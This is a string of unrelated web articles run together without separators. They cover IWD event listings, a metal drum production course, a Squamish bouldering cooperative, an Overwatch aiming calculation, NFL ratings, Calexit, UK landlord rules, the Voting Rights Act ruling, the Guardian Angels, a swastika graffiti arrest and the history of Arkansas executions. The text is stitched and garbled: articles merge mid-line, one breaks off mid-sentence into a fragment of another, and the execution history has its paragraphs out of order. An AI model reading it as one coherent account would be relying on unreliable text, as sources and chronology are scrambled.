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Celebrate IWD 2019 – Coleman Greig’s Women in Business Lunch 8 March | Sydney Olympic Park | Special guest the Hon Julie Bishop MP Join our illustrious keynote speaker, the Hon Julie Bishop MP, who will share insights into her own extraordinary career journey, the challenges faced by women holding positions of leadership in male-dominated environments, and some of the valuable lessons she has learned […] More info
The sixth annual Cisco Empowered Women’s Network Event The sixth annual Cisco Empowered Women’s Network Event will take place at Cisco Live Melbourne Thursday 7 March 2019. The theme for the Empowered Women’s Network event is “IMAGINE YOUR POSSIBLE”. In the words of William Arthur Ward- “If you can IMAGINE it, you can achieve it”! There will be a focus on how the […] More info
Women Chiefs of Enterprises International presents ‘Step into Your Power’ Women Chiefs of Enterprises International presents “Step into Your Power” – an informative and interactive event providing attendees with insight about how to empower themselves to be the best version of themselves, in every aspect of their lives – professional, social and family. The event will feature leading women from industry, politics and the media, […] More info
Meet the makers: Women in Beer, Wine and Spirits IWD Friday 8th March, and Saturday 9th March 2019 Where: Australian Technology Park, Locomotive St Eveleigh NSW Join Cellarmasters and BWS in celebrating incredible women in the beer, wine and spirits industry this International Women’s Day! It’s Australia’s first drinks festival with an all-female line-up. Your experience includes access to the VIP area, where you can […] More info
International Women’s Day Great Debate 2019! March 8, 2019 | Sydney, Melbourne, Brisbane The Institute of Managers and Leaders is proud to present The Great Debate, International Women’s Day’s Official Flagship Event. Since 1998, every year on International Women’s Day, The Great Debate ignites passion, thought and laughter around topics of gender equality around Australia. This lively luncheon brings together six […] More info
Girl Ready: Create resilience and cultivate a growth mindset An event for teen girls and their parents. Building resilience and fostering a Growth Mindset is KEY to raising well rounded, happy and fulfilled girls. We want everything for our daughters. To teach them to be strong, to defeat all challenges, to take on every opportunity with gusto and determination, and to be – above […] More infoMetal producer Eyal Levi will be offering a free, three-day online drum production course from January 16 through 18.
Levi, a producer at Audiohammer Studios in Orlando, FL, has worked with band such as August Burns Red, Whitechapel, The Black Dahlia Murder and Chelsea Grin.
During the free Advanced Drum Production class, Levi will demonstrate the different techniques he has used to record bands at Audiohammer Studios, including drum micing, editing and mixing. Levi and Cynic drummer Sean Reinert will be answering questions in real time during the class via Facebook, Twitter and chatroom.
Check out a short promo video about the class below!
Levi writes, “To my knowledge this class is going to be the only one of its kind. I'm going to teach people how to take drums as they apply to heavy music, real or virtual, from raw tracks all the way to finished production. Part of why it's unique is in how interactive it'll be. I'm going to be answering questions from Facebook, Twitter, and the chat rooms all in real time. So it'll be more of a conversation than a monologue. And to top it all off we got one of the greatest drummers in metal history, Sean Reinert (Cynic/Death) to be our session drummer.”
For more information and to enroll in the class, head over to creativelive.com.On the exterior wall, six women dive with pointed toes and arched backs; their colored suits strongly contrast the grey cement wall. The entrance is covered by a large sliding door secured by a padlock which only members know the code of. To the right, a concrete post offers a cement fist pump to the sky and the awe-inspiring Stawamus Chief which stands tall and proud in view. When the sliding door is lifted, double glass doors reveal more of what can be called a forgotten culture.
Words: Thomasina Pidgeon
article continues below
Many of Squamish, BC’s strongest climbers have trained at the Grandwall Bouldering Cooperative for years and continue to do so. But despite its reputation as being exclusive to the local hardman, things have changed. Beginners are finding this place as a fun oasis; the wide variety of holds and angled walls make it easy to pick and choose the difficulty of climbs.
Against the darkness seeping from the background, wooden walls of various angles stand out alongside the many colored holds plastering the Coop’s walls. Blue gymnastic flooring covers the length of the room, topped up by two large black mats. In the far back, a proper campus board stands kitty corner to what is one of the most modern training equipments, an LED MoonBoard. In another corner, route setting and training equipment of all sorts lay on the loosely organized shelves. A large cement desk holds the sign in book, alongside member’s daily items such as water bottles, training logs, and random oddities like a donation jar. Below the desk, sits an old stereo which plays the widest variety of music and podcasts depending on who shows up to climb that day.
The Coop has until June 2017 to decide its fate; continue as is with hopefully more members, open in a smaller, cheaper space, or close its doors forever.
The walls and equipment are among the best around. The training environment is on par with the some of the best walls in the world such as the Schoolroom in Sheffield, the Crimpshrine in SLC, the Tivoli Gym in Innsbruck… The addition of routesetting offers everything from V0- to V-hard. Everyone holds a key and can come and go as they wish. It offers choice in music, setting and the freedom to be as social as one wants. As with any cooperative, everyone’s welcome, and that includes introverts, extroverts and every character in between. The Coop, as some would say, is special.
But what about that aforementioned donation jar? Well, as with any place, rent needs paying. The Coop’s member base has dropped significantly due to a commercial climbing gym opening up in town. It’s hard to compete with shiny, colorful new walls that offer routes, bouldering, and milky cappuccinos. Just like the fact that not everyone fits into the mold of the typical commercial climbing gym environment, not everyone feels comfortable in the sometimes-called, dark dungeon of the Grandwall Bouldering Cooperative. Past members complained about the chalky air and characteristic bathrooms; others preferred the option to get high on routes. Many disliked the lack of set problems simply because they want to climb without having to envision up problems.
But as with everything, difficulties inspire ideas for improvement. Things once frowned upon like route-setting are now the norm, enticing those who appreciate a clear line. An old rule of needing two years climbing experience was banished, thus opening the Coop to beginners and children alike. A cleaner was hired, the heating system improved, it opened its doors to dry tooling, and new training equipment such as the campus board and LED Moonboard were installed. In addition, events catered to training for climbing were happening on a regular basis. The one thing the Coop now needs is money; preferably in the form of a solid member base so to continue its charm and quality appeal in a sustainable fashion. So far, membership numbers have slowly increased but more is needed. The Coop has until June 2017 to decide its fate; continue as is with hopefully more members, open in a smaller, cheaper space, or close its doors forever.
As a not-for-profit, the Coop isn’t out to rake in the dough. It has been and remains to be run by dedicated and psyched volunteer climbers who love and appreciate the Coop for what it is. While its original mission was to provide a training environment for climbers to survive the dreary Squamish winters, it has since turned into more than that. Despite the community of climbers having changed throughout the years, one thing is certain, a small but strong community remain, many of whom cannot imagine training anywhere else. Everyone from boulderers, route climbers, to ice climbers continue to use the Coop regularly during the winter and summer for reasons of their own. The Coop clearly fills a niche in the training and climbing facilities of Squamish. What it offers isn’t easily replicable. It’s a quirky little place, filled with character and characters. They say wine betters with age; well to be sure, many Coop members would argue the same about this unique bouldering cooperative.
The Grandwall Bouldering Cooperative is conveniently located on Loggers Lane, Downtown Squamish. To find out more or how to join the Coop visit Climb On Equipment on Second Avenue or visit its website and social media sites:
About the author:
Squamish’s Thomasina Pidgeon is one of Canada’s top climbers. The first Canadian woman to boulder V10, V11 and V12, she has been a National Canadian Team Member since starting competition in 2012 and has climbed in over 13 countries including Norway, the UK and Australia. As a coach and a writer, she has been published in numerous climbing magazines and websites and has great affection for solving physical puzzles found on boulders of various sizes and shapes. http://thomasinapidgeon.com/Suddenly that not quite perfect iPhone video is looking pretty good.
From YouTube:
Published on Aug 24, 2012
This video contains portions of the pre-game and game action between the Richmond Braves and the Atlanta Braves. This was an exhibition game featuring Jim Bouton (of “Ball Four” fame) attempting a comeback to the Majors as a knuckleball pitcher. In attendence were recently retired Home Run King Hank Aaron (in golden/brown suit), Brooks Robinson representing Crown Gasoline and featured Atlanta Braves’ owner Ted Turner who umpired at thirdbase (@ the 4:31 mark). #3 is Dale Murphy the 1982 and 1983 NL MVP and #7 is the 1974 AL MVP Jeff Burroughs. Chief Knock-A-Homa (@ 3:41 mark) does a war chant on the mound (boy have times changed!). Sorry for the poor quality but this film was just recently re-discovered after 30+ years. Parker Field was a great venue for baseball. The players had to walk through the stands from the dressing room to the dugout/field. A Richmond Police Officer, Richard “Buz” Barton sang the national anthem. College night featured.25 cent beer for students! FYI, Bouton beat Atlanta and he was promoted to the big club in September ’78 and won 1 game and lost 3 before retiring for good when the season ended. Enjoy!Overwatch: ideal reticle size for projectiles Target lead and reticle calculations
Horizontal resolution:
Field of view:
Target velocity (meters per second):
Projectile velocity (meters per second):
Ideal reticle size: ( center gap + crosshair length) (too large) Maximum lead angle: ± ° Maximum lead in pixels: ± px Lead angle/pixels at various impact angles:
Notes
This only works for projectiles that travel straight, and at a constant velocity.
You don't need to lead more if the target is farther away. For the same angle, target velocity and projectile velocity, the lead angle will always be the same. Think of it as a triangle with the following corners: player, target, and impact. If the distance between the player and the target is doubled, then the target and the projectile will travel twice farther or twice longer, resulting in the same three angles.
For the same angle, target velocity and projectile velocity, the lead angle will always be the same. Think of it as a triangle with the following corners: player, target, and impact. If the distance between the player and the target is doubled, then the target and the projectile will travel twice farther or twice longer, resulting in the same three angles. Most heroes run at 5.5m/s, except for Tracer and Genji who run at 6m/s.
, except for Tracer and Genji who run at. All heroes run backwards slower by 10%: 4.95m/s, or 5.4m/s for Tracer and Genji.
You could extend the crosshair length based on the running speed of Tracer and Genji, or the speed of heroes running with Lúcio's speed boost.
The circle reticle is useful when aiming from high ground, or against a flying Phara.
You can confirm the experiment by strafing left or right, and firing: the projectiles should stay on the edge of the reticle. This is useful if you don't know the velocity of your projectiles, so you can get a somewhat accurate estimate.
The various wikis have generally incorrect or outdated projectile speeds. This is a more useful but limited resource.
Simple geometry
hres: horizontal resolution (pixels) fov: horizontal field of view (°) Vt: target velocity (m/s) Vp: projectile velocity (m/s) Dpt: initial distance between player and target (m) A: impact angle L: lead angle Lpx: lead in pixels
Knowing that projectiles move much faster than our targets, it's safe to assume that the maximum impact angle will generally be around 90°, and we get a right triangle. We have enough data to use basic trigonometry and get the lead angle. Fig. 1
L = arctan(Vt / Vp)
Now that we have the lead angle, we can deduce how many pixels this represents in the actual game: ratio of the angle to the FOV times the resolution. Fig. 2
Lpx = tan(L) / tan(fov / 2) × (hres / 2)
simplified:
Lpx = (Vt / Vp) / tan(fov / 2) × (hres / 2)
Knowing this we can now get the ideal reticle. It's important to know what the units in the reticle settings correspond to 1px at 1080p, so hres is set to 1920. Then we simply need to multiply Lpx by 2, and we can get the desired reticle size.
What about different impact angles? Without a right triangle we first need to use the law of cosines to get Dpt.
Dpt = √(Vt2 + Vp2 - 2 × Vt × Vp × cos(A))
We follow up by using the law of sines to get the lead angle.
L = arcsin(sin(A) × Vt / Dpt)
And we finish by translating the lead angle to pixels, just like we did before.
Lpx = tan(L) / tan(fov / 2) × (hres / 2)
ezpzlmnsqzWork Choices-style changes to employment laws have wiped out job security for Queensland's public servants as thousands await the axe in the September budget, unions say.
The changes, passed on Thursday night on the last sitting day before the budget, abolish the employment-security and no-contracting-out clauses in the current contracts of tens of thousands of public servants.
The government says the clauses were overly restrictive and made reform of the public service difficult and cumbersome.
It has cut at least 4500 workers since winning power in March and a further 15,500 job losses are expected to be detailed in the September budget.
The new laws are more than likely to kill off a Supreme Court challenge launched by the public service union Together and the Queensland Council of Unions (QCU), but they are yet to make a decision on whether to withdraw proceedings.In all my enthusiasm for stories about refrigerators, somehow I missed this very sweet one from Saudi Arabia. Last May, just before the holy month of Ramadan, a gentleman in Ha’il, a city in the northwestern part of the country, was contemplating how he could do more for those in need. That’s when he hit upon a simple idea: Why not put a refrigerator on the street for the hungry and homeless to access?
Shaikh Mohammad Al Araifi
According to the BBC, the man, who wishes to remain anonymous, hoped that he could restore people's dignity by sparing them from having to beg for food. And though he pays for the electricity to keep the icebox running, he isn’t filling the fridge alone. When friends and neighbors heard about the effort, they rushed to fill the shelves, not just with leftovers, but with freshly cooked meals for the hungry to access. The story has since inspired some wonderful copycatting in the region, including this family in Qatar who stock a fridge twice a day with cold beverages, yogurts and breads for anyone seeking relief from the hot sun.
(h/t BBC)The NFL’s TV ratings dive continues to show no signs of letting up.
According to FOX Sports’ chief of research, the dip in regional ratings is nothing compared to a dramatic slump for prime-time games headlined by the staggering 24 percent fall-off for ESPN’s “Monday Night Football.”
Regional ratings for Fox’s NFC package have shown the smallest drop at just 1 percent through seven weeks compared to 2015, while regional ratings for CBS’ AFC package are down 9 percent, FOX Sports executive vice president of research Michael Mulvihill tweeted Tuesday.
Although the ratings for “Monday Night Football” have fallen off a cliff compared to last season, ratings for “Thursday Night Football” on CBS and the NFL Network and for NBC’s “Sunday Night Football” aren’t much better.
The Thursday package is down 18 percent, while the Sunday prime-time package is off 19 percent.
NFL officials continue to say they can’t point to one particular factor for the big drops, although Mulvihill noted that cable news ratings are up on Sundays this fall in a sign that the presidential election is having a major impact.
Critics have also pointed to fans possibly being turned off by the anthem protests led by 49ers quarterback Colin Kaepernick and an early run of unattractive prime-time matchups, but NFL commissioner Roger Goodell said this weekend that it is too early to tell if the ratings slump is a full-blown crisis.
“Everyone has theories,” Goodell said before the Cardinals and Seahawks played to a 6-6 tie on Sunday night. “We’ll continue to look at the ratings and make sure we’re doing what we need to do to improve them.”
This weekend should make it easier for Goodell and the league to know whether it’s time to push the panic button. The 5-1 Cowboys — always a rating star — play host to the 4-2 Eagles in a traditional NFC East rivalry game Sunday night.If you were on a ship in the early 1800s, you might notice that the three corners of each sail were bound down with ropes. These ropes were called "sheets," and they served to keep the ship steady in the wind. When the sheets came loose, the vessel would zig-zag to and fro, meandering around the sea like a drunken sailor.
In fact, around 1821 people realized that this might be the best possible way to describe drunken sailors—or drunken anyone, for that matter. It was like they were "three sheets in the wind." (Similarly, "two sheets in the wind" was for someone who was a little bit less drunk, and "a sheet or so" meant they were just tipsy.)
The above comes from the delightful new book Words in Time and Place by language expert David Crystal. In it, he traces the history of synonyms for many common words, including, gloriously, those of "drunk."
The grandfather of "drunk," "fordrunken," is a Middle English word that appears in Chaucer's tales. From there, though, the way we started to describe drunk people became much more entertaining—and head-scratching. Here are a few highlights from Crystal's far more extensive list:
1564: Tippled—For tippler, the name for a tavern-keeperProponents of the Calexit, or California exit, movement initiated formal proceedings for the state to secede from the U.S. The group behind the move submitted a ballot measure Monday to California’s attorney general’s office, the first step toward a potential secession.
The Yes California Independence Campaign hopes for a statewide vote as early as 2018. The group’s vice-president and founder, Marcus Ruiz Evans, said Republican Donald Trump winning the presidential election had boosted support for the initiative, though the group has been around for over two years.
“We’re doing it now because of all of the overwhelming attention,” Evans reportedly said. “This is real. We treat it seriously.”
While the group doesn’t have any major financial backers, Evans said 13,000 people have volunteered to collect the signatures required to get the measure on the ballot in the spring.
“In our view, the United States of America represents so many things that conflict with Californian values, and our continued statehood means California will continue subsidizing the other states to our own detriment, and to the detriment of our children,” the group said on its website.
“We believe in two fundamental truths: (1) California exerts a positive influence on the rest of the world, and (2) California could do more good as an independent country than it is able to do as a just a U.S. state,” the statement reads.
The Calexit movement is similar to Brexit, the July referendum in the United Kingdom, in which the country voted to leave the European Union.
The group’s President Louis Marinelli left for Russia two months ago to join hands with the Antiglobalization Movement of Russia, which also believes that a state has a right to self-determination. Marinelli is in talks with officials to establish a Californian embassy in Russia.
Marinelli is planning on introducing a resource center in Russia that would educate Russians on California’s history and culture while helping in building trade and promoting tourism. The embassy will be more of a promotional front for his group than for diplomatic purposes.
He reportedly added that he would like to spark a network of Yes California hubs around the world.
“We want to establish connections with the people of these countries so that when the time comes, we have the ability to reach out and say, ‘Californians just double-opted into independence. Will you now recognize that and therefore recognize our independence from the United States as a country?’” Marinelli said.To understand the vexed position the modern Republican Party backed itself into with its relentless opposition to the Affordable Care Act, we might listen to one of its most influential analysts. In mid-October, George Will was complaining in his syndicated Washington Post column that neither Barack Obama nor the Tea Party understood that “in Madisonian politics, all progress is incremental.” Our constitutional system is “compromise-forcing.” Will’s great mentor is the leading constitutional thinker among the founders, James Madison. To his regret, Will seemed to believe that both Obama and the base of the Republican Party misunderstood Madison’s intentions and his handiwork.
Nine days earlier, though, in the midst of the government shutdown, Will was declaring in an interview with National Public Radio’s Steve Inskeep that the possible default of America’s incurred debt, for the first time in history, was nothing but politics as usual—and a justified Republican response to dire circumstances. Incrementalism wasn’t needed; to carry on the fight was as American as the Civil War. With his trademark mandarin contempt, Will answered Inskeep’s question: Weren’t Republicans using the shutdown threat as an opportunity to “impose changes they could not get in other ways?”
How does this short-circuit the system? I mean I hear Democrats say the Affordable Care Act is the law, as though we’re supposed to genuflect at that sunburst of insight and move on. Well, the Fugitive Slave Act was the law; “separate but equal” was the law. Lots of things were the law and then we changed them. And this is a part of the bruising, untidy, utterly democratic technique for changing laws.
In the months leading up to and immediately following the ACA’s start date, Will often drew parallels between the politics of today and those just before the Civil War. Another column compared tussles over immigration reform to the Compromise of 1850, and the one referred to above approvingly quoted the Washington Examiner’s Michael Barone in comparing the health-care fight to the mid-1850s struggle over the Kansas-Nebraska Act.
Big stakes. Echoing Will, Representative John Fleming of Louisiana called the ACA “the most |
‘grand compact’ we have hundreds of thousand of Australians being pushed into informal work, or being forced to endure wage fraud.
Perhaps at last it’s time to look past the ‘low’ headline unemployment rate and have a jobs debate based on how things really are.
To read more columns by Rob Burgess click here.Image copyright Getty Images
Rogue landlords are the target of new measures being considered by both the government and Labour.
The government says landlords in England who want to rent a property to five or more people, from at least two different families, should be licensed.
Under the plan, the maximum number of people who can occupy a room would be specified in the property's licence.
Meanwhile, Labour leader Jeremy Corbyn says his party wants tenants to have more powers to avoid eviction.
There are about 4.3 million households in the private rented sector in England. About 500,000 are houses in multiple occupation.
The Department for Communities and Local Government said the changes, subject to Parliamentary approval, would make flats and one and two-storey properties subject to licensing.
National mandatory licensing currently only applies if properties are three or more storeys.
It estimated that about 160,000 homes will be affected by the new proposals.
'Rogue landlord crackdown'
The government has also brought forward minimum bedroom sizes in a bid to deal with overcrowding and poor accommodation.
It is already waiting for approval from Parliament for regulations, which outline offences including burglary, blackmail, stalking, fraud and fire safety offences that will lead to a landlord being banned from letting out property.
Those who are banned will be listed on a database from April.
Housing minister Alok Sharma said he was seeking to target "unscrupulous" landlords who profit from offering "overcrowded, squalid and sometimes dangerous homes".
He said: "Through a raft of new powers we are giving councils the further tools they need to crack down on these rogue landlords and kick them out of the business for good."
Elsewhere, Mr Corbyn told the Independent that he would abolish so-called "no fault" evictions in which people are asked to leave without reason.
"I think it's a moral litmus test for the country: do we just put up with so many rough sleepers or do we do something about it," he said.
Under Labour there would be an emphasis on longer tenancies are part of a "more regulated" private rented system, he said.
"I am very determined to bring some order and stability to their lives by longer tenancies and eviction that can only be there for good reason rather than just what can be retaliatory eviction," he said.WASHINGTON -- The Supreme Court left the fate of a key part of the Voting Rights Act in the hands of Congress on Tuesday, but GOP leaders on up to the most powerful Republican in the nation, House Speaker John Boehner (R-Ohio), don't seem in much of a rush to take up that responsibility.
Nearly every Republican interviewed by The Huffington Post in the wake of the Supreme Court decision either had no answer about how they would respond, or said they hadn't read it yet. Sen. Jeff Sessions (R-Ala.) said he favored the ruling that invalidated Section 4 of the law, which set the standards for which jurisdictions had to get federal approval before changing voting rules.
Sen. Bob Corker (R-Tenn.) told HuffPost he could not imagine Congress coming to terms on a new set of standards, although the Supreme Court expressly ruled that such standards would be constitutional as long as they are updated to reflect changes in the country since 1965.
Senate Minority Leader Mitch McConnell said Tuesday he hadn't read the ruling. A day later showed no new momentum among the GOP leadership, as Boehner sounded a similar note.
"The Voting Rights Act has played an important role over the last 40 years," Boehner told reporters when asked if the polarized Congress was "up to the job" of dealing with the assignment the court had dropped in its lap.
"We are reviewing the decision, and trying to determine what the proper steps going forward are," Boeher said.
House Majority Leader Eric Cantor was the only top Republican to float the idea of pursuing new legislation, although he did not suggest what that would be.
"My experience with John Lewis in Selma earlier this year was a profound experience that demonstrated the fortitude it took to advance civil rights and ensure equal protection for all," Cantor said in a statement Tuesday evening, referring to a trip he and other lawmakers took to the Edmund Pettus Bridge, where Lewis and many others were beaten on "Bloody Sunday" in 1965. "I'm hopeful Congress will put politics aside, as we did on that trip, and find a responsible path forward that ensures that the sacred obligation of voting in this country remains protected."
The Republican diffidence was a stark contrast to the other side of the aisle in the House, where black leaders and others immediately called for a renewal of the standards. They pledged that they would force Congress to act.
"The fact that the Supreme Court did the wrong thing should inspire Congress to do the right thing," said Rep. Emanuel Cleaver (D-Mo.), pointing to the 50th anniversary of Martin Luther King Jr.'s March on Washington as a potential watershed moment.
"Please understand this: This time it will not just be predominantly black," Cleaver said. "People who are for right are going to come here to Washington, because what was done [by the court] was wrong. And the people of this country, the good and decent people of this country, need to speak out."
UPDATE: 4:45 p.m. -- Two Republican members of the House Judiciary Committee have signed on to an effort to fix the VRA: Rep. James Sensenbrenner (R-Wis.), who authored the last extension of the act, and Rep. Steve Chabot (R-Ohio).
From a bipartisan statement by the members of the committee:
F. James Sensenbrenner, Jr. (R-Wis.): “The Voting Rights Act is vital to America’s commitment to never again permit racial prejudices in the electoral process. Section 5 of the Act was a bipartisan effort to rectify past injustices and ensure minorities’ ability to participate in elections, but the threat of discrimination still exists. I am disappointed by the Court’s ruling, but my colleagues and I will work in a bipartisan fashion to update Section 4 to ensure Section 5 can be properly implemented to protect voting rights, especially for minorities. This is going to take time and will require members from both sides of the aisle to put partisan politics aside and ensure Americans’ most sacred right is protected." Steve Chabot (R-Ohio): “I am disappointed that the Court invalidated the Voting Rights Act’s coverage formula, which has been used for decades to help protect the voting rights of millions of Americans. However, by leaving Section 5’s pre-clearance requirements intact, the Court has given Congress the opportunity to amend the coverage formula to preserve these important protections. I am hopeful that we will work together to enact an appropriate fix in the same bipartisan manner and spirit that we did when reauthorizing the Voting Rights Act in 2006.”
Jen Bendery contributed reporting to this story.All photos by the author
New York City is full of characters walking around in costumes—the topless women of Times Square who perform for money, the bankers roaming Wall Street in their double-breasted blazers, the cops and ravers and Bloods and aspiring fashionistas. But of all the city's outfits, the red jackets and berets of the Guardian Angels are branded deepest in my brain.
Founded in 1979, the Guardian Angels were supposed to be a counter to the muggings and assaults that back then were commonplace on the streets and subways. The local authorities, as you might imagine, weren't too keen on private citizens fighting crime, but in 1981 the city and the Angels reached a "memorandum of understanding" where the vigilantes agreed to work with the cops.
How much crime the Angels prevented is unclear. In 1992, founder Curtis Sliwa admitted to faking a half-dozen acts of heroism to gain publicity in the group's early years; by that time, his former associates had accused the Angels of becoming, according to the New York Times, "little more than a security force for a block of midtown restaurants." Sliwa is also known for his sexist and racist remarks, which hasn't exactly improved the group's image.
Still, the legend and iconography of the Guardian Angels persists. I first became aware of the volunteer-based group through a photograph I saw when I was 12. In the 1980s, photographer Bruce Davidson documented the NYC subway system in all its gritty glory. In one of his most striking images, two young men in white tank-tops emblazoned with "Guardian Angels" stare stone-faced in front of subway doors. The photo is unequivocally of another time: The mustache on one Angel, the glasses, the sleeveless muscle shirt, the neat afro, and the graffiti that lined every exposed inch of the subway.
Today the subways are cleaner and the city is more orderly; romanticized though it is, no one wants to return to the grimy, gritty days of the 70s. Nevertheless, earlier in the month, local news outlets reported that the Guardian Angels are "back on patrol" on the city's trains. But to hear 32-year Guardian Angel veteran EQ (a.k.a. Benjamin Garcia) told me, "We never left"—New Yorkers just haven't been paying attention.
One reason for the Angels' resurgence is that despite statistics demonstrating New York's safety, tabloid accounts of subway knife attacks, among other things, have some residents spooked. (That Mayor Bill de Blasio, a Democrat, has supposedly been insufficiently pro-cop has made some conservative New Yorkers skittish about a return to the "bad old days.")
To learn more about the Angels and what purpose they serve in 2016, I spent a full day with them as they patrolled the subways.
During the morning patrol, I met EQ, Tito Colon (appropriately nicknamed "Mumbles"), and a third, seemingly mute, member named Chavi at 11 AM outside Columbus Circle. After we went underground, the members did a pat down of each other near the Metrocard machines to make sure no one was carrying weapons, intentionally or unintentionally, while on patrol. Once through the turnstile, they alerted an officer behind a desk in the police department at the 59th Street station that they were going on duty. The police officer, looking baffled, replied "OK," and gave an awkward wave.
With only three members on duty, the Angels roamed the same subway car together and changed cars at every stop. "The most dangerous train is the A to Far Rockaway," EQ explained to me authoritatively. "All the muggings happen there." He also lists the Brooklyn-bound L, J, 3, and 2 trains, as well as the Flushing-bound 7 train, as the other dangerous lines they frequent.
EQ told me that the Guardian Angels are taught self-defense and regularly practice role-playing scenarios, and some of the members know mixed martial arts. EQ couldn't clearly answer when I asked him what the procedure was if they found something or someone who was suspicious. In all the different responses he gave me, he never mentioned notifying the police.
Chavi, who remained silent for the entire six-hour morning shift, often picked up garbage on the subway platforms, sometimes using tools from his utility belt to assist in the pickup. EQ acted primarily as the group's promoter. Whenever someone so much as glanced over at the men in costume, he quickly gave them a handshake with one hand and magically procured a business card for the Angels with the other. When a train car was empty, all three would place little fliers in between the plastic cover for advertisements. EQ told me, "With these cards and fliers, we get about five recruits a day."
After riding the 7 train to 103 St-Corona Plaza, we stopped in a McDonald's so that EQ could follow-up with some of the recruits over the phone. Most of the conversations ended with, "Sorry, thanks for your time."
EQ estimated that they stop an actual fight once every three months, often involving gangs or bullies picking on high school kids. The Angels take it upon themselves not only to fight immediate physical violence they witness, but also to return lost children to their parents or protect women who are being harassed by men.
"Ten or 12 years ago, there was a 15-year-old girl in Queensboro Plaza," EQ told me. "She had this stalker. We switched cars and the stalker got on with us. Looking at me, he said, 'There's nothing you can do and I'm gonna get away with it." EQ said that he tackled the guy while doors were open in a station and pinned him down until the cops arrived.
A few hours later, I joined several more Angels for a night patrol. There were three new members: 22-year-old Crazy J (a.k.a. Jose Gonzalez), 16-year-old Blue Blood (a.k.a. Ivan Cruz), and Rock (founder Curtis Sliwa), as well as EQ and Mumbles working a second shift. On the A train downtown, Crazy J told me how he believed that the recent subway slashings were an anomaly and that the city is much safer now than it was when he first became an Angel.
The vibe on the evening shift was more intense than the day shift, and the volunteers acted as if there was more gravity to what they were doing, perhaps because their leader was overseeing them. Upon entering the train cars, all eyes were on the Angels with their crossed arms and red berets. There were two types of reactions: Those who simply stared and appeared baffled by the men in red outfits, and those who approached the Angels and shook their hands. Many people who approached them were shocked that they were still around. On multiple occasions, middle-aged men stopped the men to thank them for their service and to retell stories of how safe they felt seeing the Guardian Angels patrol the trains when they were kids.
"It's good to have you guys back," one commuter told them. "We need you." After the man exited the train, several of the Angels seemed to follow the fan with their eyes until the train left the platform and headed south to Canarsie.
Visit Jackson's website and Instagram for more of his photo work. See more photos of the Guardian Angels below.Jasskirat Saini was arrested Tuesday by Nassau County Police following an investigation into the drawing swastikas and writing of “KKK” on a college campus.
ABC7 reports that the swastikas were first found at Nassau Community College on a men’s bathroom on Oct. 15 and later that month several more were found. In December there were two more incidents of swastika graffiti. Nassau County Police found Saini Tuesday writing two swastikas on the exterior of a building and “KKK” on the floor of another, ABC7 reports.
Saini is being charged with Aggravated Harassment and according to ABC7 this charge is in connection with 110 anti-Semitic drawings.
Initial media coverage of the discovery of swastikas tied it to the election of Donald Trump. The Long Island Press wrote, “Although three of the incidents occurred before Nov. 8, the latest discovery has further troubled minority and Jewish groups amid a surge of hate crimes across the country following the election of Donald Trump.”
The Long Island Press also quoted Robert Solomon, chairman of the Jewish community relations council of Long Island, who said, “It seems to me that since the election there hasn’t been a day when…I haven’t seen something in the paper.” Solomon then added, “whether it’s under the guise of alt-right or nationalism or Brexit, or whatever you call it, things are happening that are inciting the passions of those people in this country.”
The Daily Caller has previously reported on the wave of hate crime hoaxes following Trump’s election. A Muslim woman admitted last week to fabricating a hoax that she had been harassed by a group of Trump supporters.It did not take long for this lie to be dramatically exposed. Nine years after killing Simms, Arkansas carried out one of the most grotesque executions the country had ever seen. Following the departure of the longtime warden at the state penitentiary, prison officials selected an unidentified “volunteer” executioner — an English car salesman who had taken a correspondence course in electricity, according to a 1922 article in the Arkansas Democrat — who flipped the switch to kill an 18-year-old black man named James Wells. To the horror of witnesses, most of whom fled minutes into the execution, Wells stayed alive over repeated attempts to send lethal currents through his body. On the twelfth try, the young man finally died.
In addition to bringing executions behind prison walls — avoiding the unseemly crowds that gathered at the gallows — Arkansas’ new execution law also made it a crime for newspapers to report on them. “No newspaper or person shall print or publish the details of the execution of criminals under this act,” it read. “Only the fact that the criminal was executed shall be printed or published.” Yet reporters flouted the law for the Simms execution, while taking some creative liberties. He was said to be unafraid, singing as his face was covered by a leather mask before a 2,300-volt current would be sent through his body. Assured he would die painlessly and with dignity, Simms supposedly expressed satisfaction that he was making history. “I’se glad I am the first niggah to be ‘lectrocuted,” he said, according to an account in the Gazette. Afterward, the paper approvingly reported that Simms had died “without the convulsions or twitchings” seen at the gallows. “There is no doubt that executions by electrocution are much less gruesome and horrible than those by hanging.”
Arkansas prison officials were under immediate pressure to adopt the new technology. As the new law came closer to taking effect, the state attorney general pushed it as “an emergency that must be met.” Based in part on New York’s pioneering machinery, an electrician at the University of Arkansas built a homemade electric chair, which was “successfully tested” on a large steer, according to the Arkansas Democrat. A black man named Lee Simms, convicted of raping a white woman, would have “the honor of officially testing the home-made apparatus.”
Before Arkansas learned to love lethal injection, it first bought into the myth of electrocution as a civilized alternative to hangings. The electric chair would kill instantaneously, its promotors boasted in the late 1800s, with medical experts echoing the claim in the press. Although the country’s first electrocution — carried out in New York in 1890 — was a grisly ordeal, it was nonetheless seen as an advance, a reflection of a more enlightened age. Arguing for a new execution law in 1913, Arkansas lawmakers said the technology would discourage lynchings; executions would now be centralized, going from individual counties across the state to a single death chamber at the state penitentiary. “The substitution of the electric chair for the gallows in Arkansas meets with the very general approval by all citizens,” the St. Louis Dispatch reported in 1913, adding that state sheriffs were “especially pleased.” Hanging convicts had been among their more “undesirable duties,” the paper reported, “and it has never been a good advertisement for a community.
Rosenzweig’s office is littered with legal files, his desk barely visible under his workload. On the day we met, one of his clients had just had his bid for clemency rejected by the parole board. Now racing against the clock, Rosenzweig is prepared to be a witness if the time comes. If something goes wrong, it will not be the first time he has seen a botched execution in Arkansas.
“We haven’t had an execution since this whole controversy over lethal injection controversy came up,” veteran Arkansas defense lawyer Jeff Rosenzweig told me in Little Rock last month. Attorneys for the condemned have raised particular alarm over the planned use of midazolam, which replaces a longtime anesthetic — sodium thiopental — that became unavailable years ago. Midazolam has a short but grisly track record; a complaint filed in federal court last month points to several executions where the sedative appeared to fail, most recently in Alabama, during the execution of Robert Bert Smith, who heaved and coughed as he died. Today Rosenzweig is increasingly convinced lethal injection never really worked as intended, even when sodium thiopental was in ample supply. “Now, they’re not even using that drug, but using a drug which has a history of not working,” he said.
